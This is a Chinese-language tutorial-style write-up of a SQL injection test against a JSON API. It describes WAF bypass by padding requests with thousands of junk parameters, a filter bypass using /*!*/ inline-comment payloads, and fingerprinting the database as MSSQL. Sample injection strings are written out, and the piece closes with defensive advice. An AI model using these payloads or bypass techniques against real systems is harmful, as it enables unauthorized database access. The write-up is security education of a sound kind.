记一次曲折的SQL注入
字数 1204 2025-08-10 08:54:01

SQL注入实战教学:曲折的WAF绕过与数据库识别

1. 注入点识别

1.1 初始探测

  • 目标系统接收JSON格式请求:{"id":"a"}
  • 使用单引号测试响应差异:
    • a'{"status":true} (data字段消失)
    • a''{"data":[],"status":true}
    • a'''{"status":true}
    • a''''{"data":[],"status":true}
    • a';--{"data":[],"status":true}

1.2 注入确认

  • 响应差异稳定存在,非偶然现象
  • 单引号导致data字段消失表明可能存在SQL注入漏洞
  • 注释符(--)测试进一步确认注入存在

2. WAF绕过技术

2.1 第一层WAF绕过

  • 方法:垃圾参数超长填充
  • 实现:添加5000个垃圾参数使请求超长
  • 效果:成功绕过但导致响应变慢

2.2 第二层防护绕过

  • 测试发现代码层面存在拦截:
    • ' or 1=1;--{"status":false}
    • ' or 1=9;-- → 同上
    • 不同于单纯过滤,产生了第三种响应

2.3 绕过思路分析

  1. 统一防护假设:客户系统可能使用统一防护标准
  2. 多数据库支持:防护可能适配多种数据库
  3. 测试方法
    • 大小写变异 → 无效
    • 注释插入关键字中间 → 无效
    • 换行符(%0a) → 无效
    • 非常用关键字(case when等) → 无效
    • 内联注释 → 内容被检测但未执行

2.4 成功绕过方案

  • 使用/*!*/语法包裹垃圾数据和语句:
    o' OR /*!asdadaaordsadASD*/ '1'/*1=1*/
    
  • 关键点:利用了特定数据库的注释语法特性

3. 数据库类型识别

3.1 排除法测试

  1. MySQL排除

    • limit 1测试无效
    • 内联注释行为不符合MySQL特性
  2. PostgreSQL排除

    • 语法特征不匹配
  3. Oracle排除

    • ROWNUM=2测试无效

3.2 MSSQL特征确认

  • 最终确定为MSSQL数据库
  • 成功获取当前用户名验证了数据库类型

4. 注入技巧总结

4.1 关键发现

  • 系统对返回结果数量敏感:
    • 多于一条结果时返回{"status":true}
    • 零条或一条结果时返回{"data":[],"status":true}

4.2 实用注入语句

  1. 条件测试:
    o' or 1=1;--
    o' or 1=9;--
    o' and 1=9;--
    
  2. 结果限制测试:
    o' limit 1;--
    o' where ROWNUM=2;--
    

5. 防御建议

5.1 针对开发人员

  1. 使用参数化查询或预编译语句
  2. 实施统一的输入验证机制
  3. 避免直接拼接用户输入到SQL语句

5.2 针对安全防护

  1. 多层WAF策略需要协调一致
  2. 防护规则应覆盖所有支持的数据库语法
  3. 对异常请求的监控和响应需要更细致

6. 学习要点

  1. 细致观察:注意响应中微妙的差异(data字段变化)
  2. 持久测试:即使初步测试失败也要继续尝试
  3. 环境分析:了解目标系统可能采用的统一标准
  4. 创新思维:当常规方法失效时尝试非常规绕过技术
  5. 数据库指纹:通过响应特征识别底层数据库类型
SQL注入实战教学:曲折的WAF绕过与数据库识别 1. 注入点识别 1.1 初始探测 目标系统接收JSON格式请求: {"id":"a"} 使用单引号测试响应差异: a' → {"status":true} (data字段消失) a'' → {"data":[],"status":true} a''' → {"status":true} a'''' → {"data":[],"status":true} a';-- → {"data":[],"status":true} 1.2 注入确认 响应差异稳定存在,非偶然现象 单引号导致data字段消失表明可能存在SQL注入漏洞 注释符(--)测试进一步确认注入存在 2. WAF绕过技术 2.1 第一层WAF绕过 方法 :垃圾参数超长填充 实现 :添加5000个垃圾参数使请求超长 效果 :成功绕过但导致响应变慢 2.2 第二层防护绕过 测试发现代码层面存在拦截: ' or 1=1;-- → {"status":false} ' or 1=9;-- → 同上 不同于单纯过滤,产生了第三种响应 2.3 绕过思路分析 统一防护假设 :客户系统可能使用统一防护标准 多数据库支持 :防护可能适配多种数据库 测试方法 : 大小写变异 → 无效 注释插入关键字中间 → 无效 换行符(%0a) → 无效 非常用关键字(case when等) → 无效 内联注释 → 内容被检测但未执行 2.4 成功绕过方案 使用 /*!*/ 语法包裹垃圾数据和语句: 关键点:利用了特定数据库的注释语法特性 3. 数据库类型识别 3.1 排除法测试 MySQL排除 : limit 1 测试无效 内联注释行为不符合MySQL特性 PostgreSQL排除 : 语法特征不匹配 Oracle排除 : ROWNUM=2 测试无效 3.2 MSSQL特征确认 最终确定为MSSQL数据库 成功获取当前用户名验证了数据库类型 4. 注入技巧总结 4.1 关键发现 系统对返回结果数量敏感: 多于一条结果时返回 {"status":true} 零条或一条结果时返回 {"data":[],"status":true} 4.2 实用注入语句 条件测试: 结果限制测试: 5. 防御建议 5.1 针对开发人员 使用参数化查询或预编译语句 实施统一的输入验证机制 避免直接拼接用户输入到SQL语句 5.2 针对安全防护 多层WAF策略需要协调一致 防护规则应覆盖所有支持的数据库语法 对异常请求的监控和响应需要更细致 6. 学习要点 细致观察 :注意响应中微妙的差异(data字段变化) 持久测试 :即使初步测试失败也要继续尝试 环境分析 :了解目标系统可能采用的统一标准 创新思维 :当常规方法失效时尝试非常规绕过技术 数据库指纹 :通过响应特征识别底层数据库类型